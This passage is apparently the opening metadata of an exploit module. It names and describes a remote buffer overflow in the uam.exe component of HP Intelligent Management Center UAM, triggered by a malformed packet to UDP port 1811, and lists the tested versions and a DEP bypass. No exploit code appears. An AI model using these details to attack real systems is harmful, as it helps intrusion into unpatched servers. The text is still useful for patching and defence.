'Name' => 'HP Intelligent Management Center UAM Buffer Overflow',  
'Description' => %q{  
This module exploits a remote buffer overflow in HP Intelligent Management Center  
UAM. The vulnerability exists in the uam.exe component, when using sprint in a  
insecure way for logging purposes. The vulnerability can be triggered by sending a  
malformed packet to the 1811/UDP port. The module has been successfully tested on  
HP iMC 5.0 E0101 and UAM 5.0 E0102 over Windows Server 2003 SP2 (DEP bypass).
